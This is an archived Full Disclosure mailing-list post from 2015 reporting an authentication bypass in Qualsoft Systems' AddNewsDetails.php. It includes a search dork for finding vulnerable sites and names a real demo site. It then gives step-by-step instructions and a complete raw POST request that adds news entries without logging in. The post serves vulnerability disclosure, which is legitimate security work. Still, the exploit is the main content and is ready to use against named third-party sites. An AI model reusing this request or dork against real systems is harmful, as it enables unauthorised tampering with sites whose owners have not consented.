full-disclosure - [FD] Qualsoft Systems - (AddNewsDetails.php) Auth ByPass Vulnerability

Open Source and information security mailing list archives

Message-ID: <e811046fced91778eec85459a1889611@milw00rm.com>
Date: Thu, 19 Nov 2015 19:20:37 +0200
From: ZoRLu Bugrahan <zorlu@...w00rm.com>
To: Bugtraq <bugtraq@...urityfocus.com>, Submit <submit@...sec.com>, Submit
 <submit@...ec.org>, Cxsecurity <cxsecurity@...tonmail.com>, Fulldisclosure
 <fulldisclosure@...lists.org>
Subject: [FD] Qualsoft Systems - (AddNewsDetails.php) Auth ByPass
	Vulnerability

#Title		: Qualsoft Systems - (AddNewsDetails.php) Auth ByPass 
Vulnerability
#Author		: ZoRLu / zorlu@...w00rm.com
#Blog		: z.milw0rm.info
#Twitter	: @milw00rm
#Test		: Windows7 Ultimate
#Discovery	: 19/11/15
#Publish	: 19/11/15
#Thks		: exploit-db.com, packetstormsecurity.com, securityfocus.com, 
cxsecurity.com and others
#BkiAdam	: B3mB4m, Dr.Ly0n, KnocKout, LifeSteaLeR
#Dork		: intext:Powered by Qualsoft Systems Pvt. Ltd
#Other		: https://www.milw00rm.com/exploits/11505 / Iran Cyber Security 
Group
#demo		: http://www.dnyanada.net/

firt you go here: localhost/AddNewsDetails.php

after you go here: localhost/EditDeleteNews.php

and you will see your new entry but no any title or other details

POST /AddNewsDetails.php HTTP/1.1

Host: www.dnyanada.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:42.0) Gecko/20100101 
Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr,fr;q=0.8,tr-TR;q=0.6,en-US;q=0.4,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://www.dnyanada.net/AddNews.php
Connection: keep-alive
Content-Type: multipart/form-data; 
boundary=---------------------------24284390712412
Content-Length: 602

-----------------------------24284390712412\r\n
Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n
\r\n
2048000\r\n
-----------------------------24284390712412\r\n
Content-Disposition: form-data; name="title"\r\n
\r\n
Testttttt\r\n
-----------------------------24284390712412\r\n
Content-Disposition: form-data; name="userfile"; filename=""\r\n
Content-Type: application/octet-stream\r\n
\r\n
\r\n
-----------------------------24284390712412\r\n
Content-Disposition: form-data; name="desc"\r\n
\r\n
t\r\n
-----------------------------24284390712412\r\n
Content-Disposition: form-data; name="albumlink"\r\n
\r\n
0\r\n
-----------------------------24284390712412--\r\n

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives